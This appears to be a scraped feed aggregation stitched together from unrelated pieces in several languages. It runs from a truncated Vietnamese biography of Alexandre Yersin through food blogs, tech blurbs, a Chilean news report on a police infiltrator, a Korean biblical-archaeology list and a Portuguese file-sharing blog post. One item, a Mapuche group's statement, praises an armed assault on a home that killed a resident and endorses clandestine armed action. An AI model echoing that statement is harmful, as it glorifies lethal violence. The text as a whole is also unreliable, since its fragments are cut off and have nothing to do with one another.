      Các đồng nghiệp của ông Yersin tại viện Pasteur Paris và những người Pháp tại Đông Dương thấy ông phân tán trí thức lấy làm gai mắt, cho ông là một người kỳ dị. Càng gai mắt hơn nữa là ông thành công trên nhiều lãnh vực.
      Luôn luôn tiên phong trong những lãnh vực mới, những phát minh tối tân, ông là một tư nhân đầu tiên có được:
      - Máy phát thu bằng chữ morse để liên lạc Nha Trang, Suối Dầu, Hòn Bà;
      - Máy thu thanh tân tiến, bắt được các đài bên Pháp;
      - Kính thiên văn;
           
      Năm 1910, ông lại muốn tậu một chiếc phi cơ, nhưng vì Đông Dương không có sân bay, ông đành bỏ dự định này. Trong khi công sứ tại Nha Trang chưa có xe nhà thì Yersin đã gởi mua tại Pháp chiếc Serpollet năm mã lực, chiếc xe Clément và một thuyền máy. Hai năm sau, ông bán lại chiếc Serpollet năm mã lực cho ông công sứ Nha Trang, rồi sang Paris tậu chiếc xe Serpollet sáu mã lực đem ra Hà Nội làm lác mắt chẳng những dân cư Hà Nội mà cả chánh quyền. Viên tướng chỉ huy quân đội Pháp còn nhờ ông đưa xe đi diễn binh qua cầu Long Biên. Tháng Giêng năm 1905, Yersin bán chiếc Serpollet sáu mã lực, tậu chiếc Serpollet mười một mã lực. Năm 1907, ông mua một chiếc Alcyon. Năm 1912, ông mua chiếc Clément Bayard mười lăm mã lực, nhưng khi chiếc xe này không chạy được nữa, ông trở lại dùng xe đạp. Đến năm 1925 vì cần phương tiện liên lạc giữa Nha Trang, Hòn Bà, Dran, Djiring, ông lại tậu chiếc Zèbre vừa mau vừa êm. Nhưng một hôm về ngang Phan Rang, ông suýt đụng một em bé, nên ông bán chiếc Zèbre, và từ đấy ông dùng lại xe đạp. Năm 1943, vì phổi yếu, ông dùng xích-lô. Nhắc đến Yersin, ai cũng hình dung một ông cụ già khiêm tốn ăn mặc xuềnh xoàng đi chiếc xe đạp cũ kỹ, quên rằng Alexandre Yersin đã làm bực mình các giới chánh quyền bấy giờ với những chiếc ô-tô tối tân. Luôn luôn tiên phong trong những lãnh vực mới, năm 1932, khi chuyến bay đầu tiên của hàng không Pháp nối liền Sài Gòn-Paris thì ông dùng máy bay để vận chuyển. Tháng 3 năm 1940, Yersin bảy mươi bảy tuổi, lấy máy bay về Pháp để dự buổi họp hằng năm của viện Pasteur Paris. Một cuộc hành trình rất gay go. Ngày 30 tháng 5 năm 1940, chuyến máy bay cuối cùng đưa ông về Việt Nam, trước khi quân đội Đức vào Paris.

      Nơi cư trú của Yersin

            Yersin thích sống chung với người dân nghèo chài lưới và đã chọn cái lô-cốt hai tầng lầu bỏ hoang gần xóm Cồn và cửa sông cái. Theo Đại Nam Nhất Thống Chí quyển XI về Khánh Hoà, đó là một đồn biên phòng rất lâu đời.
            Từ năm 1895, Yersin đã tạo lập cho mình chỗ ở tuyệt vời để hằng ngày quan sát và hoà nhập với thiên nhiên.
            Lô-cốt mỗi bề khoảng 7m50. Mỗi tầng có hành lang rộng bao bọc. Có thể đi dọc hành lang để quan sát. Ông bố trí tầng trệt là phòng ăn, tầng một là phòng làm việc và tầng hai là phòng ngủ. Về sau, nóc nhà làm thêm một vòng tròn để dựng kính thiên văn.
       Nhà ở và làm việc của Yersin tại Nha Trang

       Nhà ở của Yersin tại cao nguyên Lang Biang
      Nhà bác học vị tha

           Đó là một người không chạy theo danh vọng, quyền lợi cho riêng mình.
           Ông đầu tư ngay số tiền kèm theo các giải thưởng vào các công trình đang thực hiện. Huân chương Bắc Đẩu Bội Tinh đem lại cho ông 250 quan Pháp mỗi năm. Giải Audiffret của Hàn lâm viện Tâm lý và Chính trị có kèm theo 15000 quan Pháp. Ông dùng số tiền này tiếp trợ cho nền tài chánh Suối Dầu. Giải thưởng Lassen đem lại cho ông 8000 quan Pháp. Ông dùng ngay tiền đó vào việc mở đường mòn nói liền Suối Dầu-Hòn Bà.
            Tháng 12 năm 1927, khi nhận giải thưởng Leconte của viện Hàn lâm Khoa học, ông tuyên bố :"Giải thưởng nầy là vinh dự cho viện Pasteur và số tiền nhận được sẽ giúp cho các cuộc thí nghiệm trồng cây quinquina".
            Ông không hãnh diện, không phô trương huy chương. Đây là một đoạn thư ông viết cho mẹ năm 1890 khi ông hai mươi bảy tuổi :" Mẹ hãy tưởng tượng xem ông Pasteur đã xin được cho con huân chương của Hàn lâm viện. Các thành viên của viện đại học Pháp rất mong muốn có được tấm huân chương màu tím này, song bản thân con lại không hề thấy mình xứng đáng được nhận".
            Khi Vua Bảo Đại trao tặng bội tinh Kim Khánh cho ông, vì phép lịch sự ông buộc lòng phải cho Vua Bảo Đại đeo Kim Khánh vào cổ mình, nhưng khi vừa bước xuống, ông đã e lệ dùng chiếc mũ ép lên ngực che hết chiếc huân chương Kim Khánh. Năm 1938, trường trung học Đà Lạt muốn có một bức tượng bán thân của Yersin, ông cương quyết từ chối làm mẫu.
            Khi Toàn Quyền Decoux muốn biết tên những người quyền quí, danh tiếng, mà Yersin đã gặp, ông trả lời :"Ở Đông Dương tôi ít giao thiệp với những hạng người ấy."
            Thật ra Yersin đã có lần gặp nhiều người danh tiếng. Năm 1896, Thống Chế Lyantey (lúc bấy giờ là thiếu tá) đến Nha Trang có ghi vào sổ tay :"Vị bác sĩ trẻ này tận tụy với vi trùng học, nghiên cứu, chế tạo "vắc-xe" với một niềm tin tưởng, ý chí đam mê của một nhạc sĩ cao siêu. Những giờ thăm viện của ông làm phấn khởi tinh thần, mặc dầu viện còn thô sơ."

      Người con hiếu thảo

            Xa nhà, dầu ở Pháp, Việt Nam hay Trung Quốc, hầu như tuần lễ nào ông cũng viết thư cho mẹ. Tính đến khi mẹ ông mất, năm 1905, ông đã gởi ngót 1000 bức thư, cho bà biết sức khỏe và công việc hằng ngày của mình.
            Khi mẹ mất rồi, Yersin tiếp tục gởi thư cho chị là bà Emilie.
            Trong thư nhiều khi đầy vẻ hài hước, như khi ông ở Hồng Kông viết cho mẹ: "Con còn nhiều điều nữa muốn thưa với mẹ, nhưng có hai xác chết đang chờ con. Họ muốn ra nghĩa địa cho sớm. Tạm biệt mẹ thân yêu. Mẹ rửa tay sau khi đọc thư này kẻo bị lây dịch hạch, mẹ nhé."
           
      Yersin nhà nhân ái
          

            Noel Bernard viết về A. Yersin có câu: "Ít có người không vụ lợi như Yersin. Khiêm tốn, giản dị, lịch sự".
            Ông ăn mặc xoàng xĩnh bộ đồ kaki bạc màu cũ kỹ, áo khoác bốn khuy ba túi, áo sơ-mi vải trắng hở cổ, quần kaki trên rộng dưới hẹp giặt sạch mà không bao giờ ủi. Giày vải bố. Trong túi ngực bên trái đựng một cái đồng hồ trái quít đeo bằng một sợi dây gai đỏ. Phải nói rằng Yersin không thiếu đồng hồ. Năm 1945, người ta tìm thấy trong tủ sắt của viện Pasteur Nha Trang rất nhiều đồng hồ trái quít chế tạo tại Thụy Sĩ, phần lớn bằng vàng, dây đeo cũng bằng vàng, bên trong cái nắp đều có dòng chữ: Chế tạo riêng cho Bác Sĩ Yersin.
            Ngày 22 tháng 11 năm 1920, ông đáp tàu Paul Lecat đi Marseille. Một phục vụ viên trẻ của tàu không biết ông, cương quyết không cho ông vào phòng ăn. Nội qui của tàu bắt buộc phải thắt cravate khi bước vào phòng khách. Yersin trở về cabine. Sau đó, ông quay lại phòng ăn nói với phục vụ viên: "Chiếc cravate nầy cậu có chấp nhận không?" Vừa nói ông vừa chỉ tay vào chỗ hở ở cổ áo nơi ông vừa đút tấm huân chương "Bắc Đẩu Bội Tinh" vào.
            Năm 1925, một buổi sáng ông đến hãng xe gặp một người khách sang trọng từ Pháp mới tới. Tên nầy thấy ông ăn mặc xoàng xĩnh buột miệng kêu lên: "Tên bụi đời lang thang nầy làm gì ở đây?
            Bữa ăn của ông thường đạm bạc. Món ăn ông ưa thích thường ngày chỉ là món xúp rau cải ăn với bánh mì hoặc biscotte. Trong thời gian chiến tranh ông phải ăn bánh tráng thay cho bánh mì. Ông thích ăn cá hơn là thịt. Các loại cá được ông ưa chung là cá thu, cá mú.
            Món rượu khai vị của ông thường chỉ là thứ nước có bột quinquina do ông tự chế. Nước uống đôi khi ông dùng nước lá sả mà ông bảo rằng dễ tiêu hoá. Có lần đi thám hiểm vùng cao nguyên, ông chỉ ăn cơm không trong hai tháng.
            Vì Nha Trang thường có bão táp, Yersin nghiên cứu về khí tượng, thời tiết để giúp ngư dân.
            Ông cho làm hai cái bồ to, có đường kính một mét, trên sơn màu đen. Khi có bão, hai cái
      bồ được kéo lên hai cây cột bằng phi lao trên núi Sinh Trung để báo hiệu.
           
      Tháng 11 năm 1939, đoán biết rằng một cơn bão lớn sẽ đổ vào bờ biển Nha Trang, Yersin vi tập trung tất cả ngư dân xóm Cồn vào trong nhà mình. Cơn bão biển dữ dội đêm ấy đã cuốn trôi nhiều nhà cửa xóm Cồn, nhưng bà con vẫn an toàn.
            Từ hôm ấy, Yersin được nhiều người dân xóm Cồn tặng cho biệt hiệu "người đã trị con sóng thần".
            Viết về Yersin, và viện Pasteur Nha Trang, Henri Jacotot đã có những lời ca ngợi tốt đẹp :
            "Trong những thời điểm quan trọng, Yersin luôn luôn sống trong tình trạng báo động thường trực cả ngày lẫn đêm." (Yersin et son temps,  H. Jacotot-1937)
            Chẳng những lo bảo vệ dân chúng tránh tai nạn bão lụt, Yersin còn luôn luôn tỏ ra nhân ái đối với người dân ở Nha Trang, nên ông được người Việt yêu chuộng và kính phục. Ông tự coi mình như một người dân trong làng, một người có phần may mắn hơn ngườI khác, vì vậy ông thấy có bổn phận an ủi và giúp đỡ thuốc men.
            Một hôm đi xe đạp từ nhà đến sở, ông bị một tài xế bất cẩn đụng ngã. Không nói một lời nào, ông vội vã dựng xe đạp lên, rồi đi đến viện để băng bó, không đá động gì đến người tài xế có lỗi.
            Lần khác ông gặp người nông phu nằm ngủ trong xe bò dưới gốc cây bàng. Mặt trời lên cao, bóng mát thay chiều, ông bảo những người phụ tá đẩy xe bò vào chỗ mát.
            Ông rất thương yêu trẻ con xóm Cồn, thường chiếu phim cho chúng xem. Trẻ con cũng thích ông chia kẹo hằng ngày cho chúng. Một hôm, chúng đánh vỡ chậu hoa, ông bảo người giúp việc: "Đừng rầy đánh, người ta sợ."
            Ông thường đọc báo chí Việt ngữ. Một hôm đến viện ông trao cho ông Bùi Quang Phương, người cộng sự từ năm 1897, bài thơ Năm Cụ Ông chép trong báo Tiếng Dân của cụ Huỳnh Thúc Kháng nói về năm bộ trưởng đương kim bị cách chức và thay thế bằng năm người khác do Pháp chỉ định. Bài thơ khó hiểu vì có nhiều nghĩa bóng.
            Yersin rất nhẫn nại tử tế vớI những người cộng sự bản xứ, khôn bao giờ to tiếng, không bao giờ thị oai.

      Ông Năm

            Người dân Nha Trang gọi ông là Ông Năm vì theo ngạch nhà binh ông là Y sĩ Đại tá. Một tác giả Pháp Elisabeth Duclosel ghi ông là Nam, bác sĩ Annam, là sai.
            Ông sống thanh đạm độc thân, tiết chế xa hoa nhục dục.
            Elisabeth Duclosel thêu dệt cho ông một quan hệ tình ái giữa ông và một công chúa của bộ lạc Rhadé, thật đáng buồn cười.
            Yersin đến với người Việt Nam bằng một tấm lòng chân thật. Đó là chìa khoá kỳ diệu đã mở cửa cho ông đi vào tình cảm của người Việt Nam.
            Ông ra đi rất thanh thản, ngày 01 tháng 03 năm 1943 vào lúc 01 giờ sáng, vừa đúng tám mươi tuổi.
            Một ngày trước khi từ giã cõi đời, ông còn ngồi trên ghế xích-đu dùng ống dòm đo mực thủy triều.
            Mặc dầu có lời căn dặn của ông trong di chúc muốn được an táng đơn giản, đám táng của ông to lớn chưa từng thấy ở Việt Nam. Ngoài đại diện của chánh quyền còn vô số người Việt, người Pháp, người Chà, người Hoa, người Thượng. Dân chúng bày hương án hai bên đường từ Nha Trang lên tận Suối Dầu nơi an táng ông.
            Trong năm mươi bảy năm hoạt động khoa học (1886 - 1943) Yersin đã công bố năm mươi lăm công trình và bốn mươi tác phẩm về y học, trong đó có mười ba đề tài chuyên cứu về dịch hạch, và mười lăm đề tài chuyên về nông nghiệp trồng cây quinquina và hévéa.
            Người dân Việt Nam vẫn tiếp tục tôn thờ Yersin. Hà Nội, Sài Gòn, Nha Trang, vẫn còn giữ nguyên đường Yersin.

            Bên cạnh mộ Yersin có xây một cái miếu nhỏ đặt ảnh ông và hương án. Tại chùa Linh Sơn và Long Tuyền có bàn thờ ông bên cạnh bàn thờ Phật, mặc dầu lúc sanh thời, người dân Nha Trang không hề thấy Yersin bước chân vào chùa hoặc nhà thờ.


            Mỗi năm đến ngày 01.03 người dân Nha Trang đến đốt hương và nghiêng mình trước mộ Yersin.
            Yersin mãi mãi đi vào lòng của người Việt Nam. Đó là đền Panthéon của Ông Năm và ông còn sống mãi mãi, vì đại văn hào Lỗ Tấn có nói :
            "Người chết chỉ thật là chết, khi không còn tồn tại trong lòng người sống nữa."
            " Người quá khứ mà hình ảnh còn tồn tại trong lòng người sống, thì chưa hẳn là chết."

      Di chúc của Bác Sĩ Alexandre Yersin
            ***Tôi muốn được chôn ở Suối Dầu. Yêu cầu ông Bùi Quang Phương giữ tôi lại tại Nha Trang, đừng cho ai đem t

                Road Trip Snacks/Foods   

      We are getting excited about an upcoming vacation to Lake George.  I've been starting to prepare a bit of snacks for our trip.  While I have every intention of enjoying delicious and maybe not so nutritious meals out from time to time, I know our bodies and they crave good for us foods.

      First up?  These bad boys!  I remember years ago Joe meeting a guy who had his hands in on the actual making of these.  We had a taste and they were SO good.  Had to grab them when I saw them!


      I'm in an amazing accountability group where the girls share food and recipe ideas. I totally hit up Amazon for these!  Brooke likes the fruit bars and Bradley loves the sqaure bars.  I haven't tried the power snacks yet, but I love me some Justin's maple almond butter!


      I'm on that mom who believes in eating as healthy as possible, but real life and simple snacks that kids will eat happen too.  Bradley loves these tomato basil lentil bean snacks, the mac and cheese is an SOS meal if the kids don't eat their dinner or are starving.  Quick oatmeal in case of breakfast meltdowns before we leave the hotel.  Brooke loves the chocolate organic pop tarts.  PBJ --because, peanut butter and jelly is always an easy go to.   Rice cakes and quest bars for me.


      Apples, mint milanos & graham crackers.


      My friend Ann told me about these delicious waters!


      We are bringing our Ninja and going to make these happen and sip them by the pool one day. #vacay


      Can't leave without this yummy drink!


      My sweet friend Shelby gifted me this adorable cooler bag with my monogram.


      It will be perfect to keep my cans of rose cold!


      I'll also throw in deli meat, cheese sticks & yogurt tubes.  I may be overpacking but I'd rather have too much than not enough.  Been there done that before and it's no fun!!  

      Bring on the loose schedule, family time, beach and poolside fun!

      What healthy-ish snacks do you bring on road trips?

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                Ensalada de primavera a la vinagreta   




      Hola , cocinillas! como ya va haciendo calorcita,  hoy traigo una rica ensalada fresca, nada mejor para quitar el calor y para iniciarnos sin darnos cuenta en la operación biquini, que seguro que ahora, entre tanta torrija, tanto rosco y tanta Mona de Pascua nos hará falta.
      Me encantan las ensaladas con mucho color, asique he utilizado una ensalada de hojas variadas que aparte del color, nos aporta también diferentes vitaminas y nutrientes. La he llamado ensalada de primavera y espero que os guste.

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      Ingredientes para hacer esta ensalada de primavera a la vinagreta:

      1 paquete de Ensalada Vital
      1/2 Cebolla
      10 tomates cherry
      1 lata de yemas de espárragos blancos
      1 lata de atún  en aceite
      Vinagreta NEWMAN'S OWN






      Preparación:
      Disponer en una fuente plana las hojas de ensalada vital, sobre ella repartimos uniformemente, los espárragos, la cebolla cortada en aros, los tomates cherry cortados a mitades, el atún... Esta ensalada admite  muchos mas ingredientes que te gusten, para finalizar  salamos y regamos de la vinagreta, quedará exquisita!




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                Samsung prende in giro gli utenti Apple e la cosa paga   
       È quanto sostiene Samsung che, nel recente assalto, si è prodigata in una serie di pubblicità che non solo promuovevano i suoi pur molto validi prodotti ma spesso prendevano in giro i...
                iPhone con display flessibile curvo in un brevetto   
      Quando Apple ha presentato iPhone diversi anni fa ha proposto un form factor estremamente moderno ed interessante, tanto da diventare un must e dare esempio a quasi tutti i dispositivi mobile....
                Apple brevetta iPhone e iPad con ventole   
      iPhone e iPad potrebbero, in futuro, sfruttare delle ventole per limitare il surriscaldamento della CPU, esattamente come accade per PC Desktop e portatili.La potenza sempre crescente delle CPU per...
                G.B.I: REIVINDICACIÓN WEICHAFE FABÍAN TRALCAL MARILAF 20 años, Kiñe Trekayaiñ…. Wenu Calfu Mapu weu   
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      Declaración de Reivindicación

      Declara lo siguiente: 

      1.- FABÍAN TRALCAL MARILAF conocido por nosotros como “PASCUAL”, miembro del lof Lleupeko – Katrileo, a la temprana edad de 5 años comenzó a ser testigo y partícipe de la lucha por la Recuperación Territorial desarrollada en nuestro sector a partir del 2001, fue víctima incesante de los allanamientos salvajes realizados por la Policía Chilena a nuestra comunidad, por lo tales circunstancias su carácter y su personalidad fueron moldeados al fragor de la resistencia social y política que nuestro lof debió construir para defender la integridad de nuestra gente. 





      2.- El lof Lleupeko – Katrileo respalda y reafirma que el hecho en el cual falleció nuestro querido peñi obedeció estrictamente a una acción de “Recuperación de Armamento”, ya que se sabía que en ese domicilio existían armas. 
      El Comando de asalto encabezado y dirigido por nuestro peñi buscaba contribuir con este gesto político-militar a la lucha del pueblo Mapuche por la Recuperación de sus Derechos en Wallmapu. 
      El fatal desenlace que dejó a uno de los dueños de la casa atacada también fallecido fue el resultado de un enfrentamiento armado y planificado, del hecho en cuestión y que internalizado en la conciencia de los demás miembros del grupo atacante corresponden a los costos inevitables en esta lucha digna por la Recuperación de nuestro pueblo.

      3.- REIVINDICAMOS y recordamos el accionar de nuestro Weichafe que murió combatiendo apoyando socialmente por su lof y que su decisión de recurrir a métodos clandestinos y armados sigue teniendo el respaldo y la convicción de nuestra gente, que seguramente por estos días será acosada por la policía y sus desaciertos permanentes en tema de investigación.

      4.- Responsabilizamos al Estado Chileno por tratar de resolver “El Conflicto Mapuche”, sólo a través de la imposición de la violencia, la represión y la cárcel, lo que hace visualizar un incremento de este tipo de acciones, lo que reafirma que la violencia genera más violencia, seguiremos insistiendo que la solución es de Carácter Político a través de la Restitución de Nuestros Territorios y Derechos como Pueblo Mapuche.

      Kiñe Trekayaiñ…. Wenu Calfu Mapu weu
      “Que Tengas Buen Camino Junto a tus antiguos”

      ….Siempre te recordaremos y te reivindicamos como Hijo, Peñi, Amigo y Weichafe de Nuestro Pueblo……

      Fabían Tralcal Marilaf

                JUSTICIA IDENTIFICA A INFILTRADO DE LA CNI Jorge Rivas Arancibia, ex cabo de Carabineros a quien se acusa como autor de los homicidios de Iván Palacios Guarda y Eric Rodríguez Hinojosa. Palacios (18 años) y Rodríguez (19) fallecieron en 1989   
      JUSTICIA IDENTIFICA A INFILTRADO DE LA CNI LUEGO DE 27 AÑOS
       
      Carola Julio

      El Poder Judicial hizo pública hoy el acta de procesamiento de Jorge Rivas Arancibia, ex cabo de Carabineros a quien se acusa como autor de los homicidios de Iván Palacios Guarda y Eric Rodríguez Hinojosa. Palacios (18 años) y Rodríguez (19) fallecieron en 1989 a manos de agentes de la CNI mientras intentaban instalar una bomba en una torre de alta tensión.
      Ambos creían que trabajaban para La Resistencia, una célula independiente del Movimiento de Izquierda Revolucionaria (MIR). Lo cierto es que Rivas Arancibia, cuya labor para la CNI consistía en infiltrar grupos armados de izquierda, los había reclutado, les dio alguna formación militar y también equipamiento para llevar adelante sus tareas. Fue él quien les encargó poner la bomba en esa torre de alta tensión, ubicada en Avenida San Pablo. Y, de acuerdo al expediente que es instruido por el juez Mario Carroza, fue el mismo Rivas quien dio aviso a la CNI para frustrar la intentona de los jóvenes y engañados terroristas. Palacios falleció en el lugar de los hechos, el 18 de abril de 1989, producto de múltiples heridas de bala. Rodríguez sobrevivió al fatídico encuentro con los efectivos de inteligencia, pero murió cinco meses más tarde. Este 4 de septiembre se cumplen 27 años de su muerte.
      La historia de Palacios y Rodríguez es conocida entre quienes siguen de cerca los movimientos judiciales en materia de violaciones a los derechos humanos. Uno de los trabajos más completos en torno a ella es el libro “La Trampa”, escrito por el periodista Víctor Cofré. Pero había un cabo suelto. Lo único que se sabía del falso reclutador de terroristas era su chapa: Miguel. El procesamiento tramitado ayer por el juez Carroza, en el que se identifica a Rivas Arancibia, viene a cerrar una interrogante de casi tres décadas.
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      LA IDENTIFICACIÓN
      Hasta la semana pasada, Jorge Rivas Arancibia vivía en Iquique y manejaba una empresa de seguridad que incluso tenía contratos con el municipio de la ciudad. Pero en las últimas horas fue detenido y trasladado a Santiago. Una vez en la capital, fue sometido a un careo con ex agentes de la CNI y con ex militantes de grupos de extrema izquierda. El resultado de estas diligencias permitió al juez Carroza tramitar el ya referido procesamiento.
      De acuerdo a los antecedentes del caso, a Rivas Arancibia se le encomendó hacerse pasar por miembro del MIR con el fin de llegar a los altos mandos de la organización. Para ello esgrimió un discurso extremo cuyo objetivo era atraer a quienes parecían desencantados con los aires más moderados que comenzaban a circular en la organización. Su objetivo fueron jóvenes que tuvieran alguna relación con presos políticos o detenidos desaparecidos. Les decía que la lucha ya no era la misma de antes, que el MIR estaba desgastado y, sobre todo, que no podían tener contacto con otros miembros del movimiento para no contaminarse.
      Según las declaraciones que constan en el expediente, algunos miembros de La Resistencia sospecharon de Rivas. Como no tenían acceso a ningún integrante verdadero del MIR, les resultaba imposible comprobar si su estilo marcial y su amplio acceso a toda clase de recursos eran lo habitual en el movimiento. Esas sospechas se confirmaron tras el fallido atentado en la torre de alta tensión, en abril de 1989, que terminó con la muerte de Palacios y con Rodríguez agonizante. Después de eso, los del grupo La Resistencia jamás volvieron a ver a Rivas. Hasta el careo del pasado lunes, 27 años más tarde.

                성경이 사실임을 증거하는 12가지 증거!   

      1. 1830년, 이라크의 니네베에서 "테일러 프리즘 (Taylor Prism)" 발견. 왕하 18:13-19:37; 대하 32:1-12; 사 36:1-37:38에 기록된 산헤립 왕의 군사 운동 확증.

       

       

       

      2. 1843년, 이라크의 코르사바르에서 "사르곤 비문 (Sargon Inscriptions)" 발견. 사 20:1에 기록된 앗수르의 왕 사르곤의 존재 확증 및 그가 사마리아를 정복했다는 왕하 17:23-24의 기록과 일치.

      Sargon II and Attendant - in the Louvre

      3. 1854년, 이라크의 우르에서 "나보니더스의 원통 (Cylinder of Nabonidus)" 발견. 벨사살이 바벨론의 마지막 왕이라는 단 5:1-30; 7:1; 8:1의 기록과 일치.

      Clay_foundation_cylinder_of_Nabonidus

      4. 1877년, 키프로스의 파포스에서 "서기오 바울 비문 (Sergius Paulus Inscription)" 발견. 성경에 기록된 총독 서기오 바울의 존재 및 구브로 지방총독과 바나바의 존재 확증.

      sergius-paulus-02

      5. 1879년, 아라크의 바벨론에서 "고레스 원통 (Cyrus Cylinder)" 발견. 원통 안에 들어있던 고레스의 칙령이 스 1:1-3; 6:3, 대하 36:23; 사 44:28에 언급된 내용과 일치.

      Cyrus_Cylinder_front

      6. 1906년, 그리스 델피에서 "델피 비문 (The Delphi Inscription)" 발견. 성경에 등장하는 갈리오 총독 존재 확증 및 그의 통치 기간이 기원후 51-52년임을 밝힘으로 사도행전 18:12-17의 시간대 및 사도 바울의 사역기간을 추적할 수 있도록 함.

      Inscription_delphi_apollo

      7. 1961년, 카에사레아 마리티마에서 "빌라도 돌비문 (The Pilate Stone Inscription)" 발견. 성경에 기록된 빌라도의 존재 및 그의 직책 확증.

      pilate-plaque-prototype

      8. 1968년, 예루살렘에서 "요하난의 뼈 (Skeleton of Yohanan)" 발견. 현재까지 알려진 십자가에 달려 죽은 희생자의 유일한 유해로 성경이 묘사하고 있는 것과 일치하는 십자가 형이 그 당시에 있었음을 확증.

      9. 1986년, 이스라엘의 디베랴 근처에서 "갈릴리 보트 (Galilee Boat)" 발견. 30′ x 8′의 크기로 약 15명을 태울 수 있는 크기의 보트이고 방사선탄소연대측정 결과 120 BC ~ AD 40년 사이에 만들진 배임이 밝혀짐. 예수님께서 제자들과 갈릴리 바닷가를 건너실 때 타셨던 배의 묘사와 흡사함.

      076ba084861a55dcfa604d61ed870c19

      10. 1990년, 예루살렘 근처에서 "가야바의 유골함 (Caiaphas Ossuary)" 발견. 성경에 기록된 가야바의 존재 확증.

      ossuaryCaiaphas

      11. 1993년, 이스라엘의 텔 단에서 "다윗 왕가의 비문 (House of David Inscriptions)" 발견. 성경 밖의 자료중 다윗 왕을 언급한 가장 오래된 비문으로 다윗 왕의 존재 확증.

      bet-david-inscrip-1

      12. 2004년, 예루살렘에서 "실로암 연못 (Pool of Siloam)" 발견. 예수님께서 요한복음 9:1-11에 기적을 행하셨던 장소의 존재 확증.

      Pool of Siloam

      (위의 자료는 "The Apologetics Study Bible"에서 선택적으로 발췌 및 수정한 것임을 밝혀드립니다)

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                What Will You Do When You See God? (Part 2)   

      “When I see God, he’ll make a rainbow for me,” says Ally, 5. “He’s gonna show me how to make one. He’s gonna sit down in the grass and eat an apple with me.” Ally’s answer is more than cute. It could be insightful as well. Who knows the entire capabilities of a resurrected body […]

      The post What Will You Do When You See God? (Part 2) appeared first on East Texas Review.


                First flights with the DJI Phantom 3 Professional quadcopter review   
      Drones/quadcopters are like the perfect synergy of my love for photography and technology. I treated myself to a DJI Phantom 3 Professional and it is easily one of the best gadgets I’ve owned for a long time (sorry Google Glass and Apple Watch). Recent generations of quadcopters (people don’t really like the word drones) have […]
                Le 10 app per smartphone indispensabili per chi vive a Vienna   
      Le 10 app per smartphone indispensabili per chi vive a Vienna
      Gli smartphone negli ultimi anni hanno sicuramente cambiato  il nostro modo di viaggiare di vivere le città. Per ogni esigenza c’è oramai una “app” a disposizione, e la città diventa...
                Comment on Shattered Mirror, Stunted Vision and Squandered Opportunities by Mark Bourrie   
      Some problems with this. Talking about pre-dispaly ad papers (really, those after the founding of McKim agency in 1913) and 20th century papers reliant on ads is an apples and oranges comparison. Pre-display ad papers were far, far smaller than papers supported by display ads. Big ads opened up big news and feature space. Papers went from 8, 12 or 16 pages to multi-section papers with 100+ pages. So saying papers were not always reliant on ads is a huige, huge stretch. Another problem, one that vexes everyone, is how to distribute money from a fund to members of the media. How can that be decided on an objective basis? And will it work? We have seen the Magazine Fund try this and fail. Paywalls are ignored by Greenspon and in this blog. Lots of information is behind paywalls: Janes Intelligence, WestLaw and Quicklaw, corporate newsletters, and many other sites offering information of value. The trick is to find a quick, convenient way to pay for a limited amount of access, so you don't have to subscribe for a year or a month to read one story. Public libraries also have a role, similar to that of university libraries that buy bulk subscriptions to paywalled material and share it with students. Public libraries could do the same and offer access to, say, the New York Times or iPolitics to card-holders. Like you, I am not impressed by the Greenspon report. The authors are people who steeered the plane into the mountainside. I expect the government will do nothing until PostMedia collapses and the dust settles.
                Comment on Winry’s Apple Pie from Full Metal Alchemist by Recipe: Rabbit Apple Slices – SEVAC – SouthEastern Virginia Anime Community –   
      […] of these apples makes one ponder what to do with them. Last year at about this time I made Winry’s famous apple pie, but this year I wanted to go for something a little simpler and a little more ubiquitous- rabbit […]
                Comment on Winry’s Apple Pie from Full Metal Alchemist by Crunchyroll #23: Bunny Apple Slices from Every Anime Ever | Penguin Snacks   
      […] of these apples makes one ponder what to do with them. Last year at about this time I made Winry’s famous apple pie, but this year I wanted to go for something a little simpler and a little more ubiquitous- rabbit […]
                Pineapple Hibiscus Flowers Cut File for Vinyl Cricut Silhouette SVG DXF EPS pdf png jpeg studio Hawaiian Beach Summer Lilly Pattern by VinylWorldAndDesigns   

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                Cross-border team helps food carriers comply   

      HALIFAX, N.S.—The Nova Scotia-based food-hauling experts at Iron Apple have partnered with Birmingham, AL-based TransComply, manager of the Uniform Food Safety Transportation Protocol (UFSTP) program, to help carriers comply with the U.S. Food and Drug Administration (FDA) Sanitary Transportation of Human and Animal Food (STF) rule and promote that compliance to the shipping community.

      Many shippers and brokers are insisting that all carriers regardless of size provide evidence that they comply with minimum standards.


                A comparison of FREE Cloud Storage Services   

      Now that the biggest tech companies in the world are taking aim at Dropbox (with Microsoft, Apple, and Amazon all offering their own cloud storage services), we thought we would compare the FREE cloud storage plans that are out there, in terms of how much free storage space they offer, how easy it is to […]

      The post A comparison of FREE Cloud Storage Services appeared first on freewaregenius.com.


                    
      Has anybody tried the new @starbucks drinks? They got me. The mango pineapple swirl: 👌🏼👌🏼👌🏼
                Substitute Special Education Aide - Fairfield City Schools - Fairfield City Schools - Fairfield, AL   
      Please note that, due to state regulations, every school-based employee must obtain a Background Search through Cogent ID, which requires a nonrefundable fee
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                Recuperando e Postando   
      Fala galera !!
      Estou aqui pra fala pra vocês que vou estar repostando os arquivos no blog nos servidores, Wupload e Media Fire. Vou postar nesses servidores porque é os únicos que fica perto de Megaupload. 
      Vou colocar programas novos tutorias, apostilas e tudo mais pra vocês tá curtindo e estudando nessa área que estar evoluindo como oh da informática. 

      Fúria dos Hacker.

                Falta do MegaUpload   
      Fala galera!!
      Estou vendo que minha internet Nunk foi ah mesma depois que oh Megaupload fechou.
      Porq fala isso? Porq quando tinha oh Megaupload minha internet atingia Velocidade Master; Aposto que tbm ah suas atingia ah sua velocidade extreme.
      Mais agora acabou isso que posso fala pra vcs que tá aparecendo um servidor que tá fazendo minha internet funcionar de volta igualmente quando tinha Megaupload.


      Isso mim deixa muito feliz porq posso voltar fazer meus tutoriais. 
      Então é isso gente. E que volte ohs DOWNLOADS.
      Fúria dos Hacker

                Gobierno electrónico en la palma de la mano   
      Crece en la Argentina el despliegue de soluciones para la gestión gubernamental basadas en celulares. Experiencias locales y un modelo en Brasil.

      El m-gov o gobierno móvil llegó este mes de abril a la tapa de los diarios argentinos con el inicio de la prueba de controles de tránsito basado en celulares que realiza el Gobierno bonaerense. La solución (ver más sobre ella en la sección Entrevista en esta edición de PuntoGov) es un ejemplo de una tendencia creciente: la llegada de aplicaciones móviles al gobierno electrónico en diferentes instancias del Estado en la Argentina.
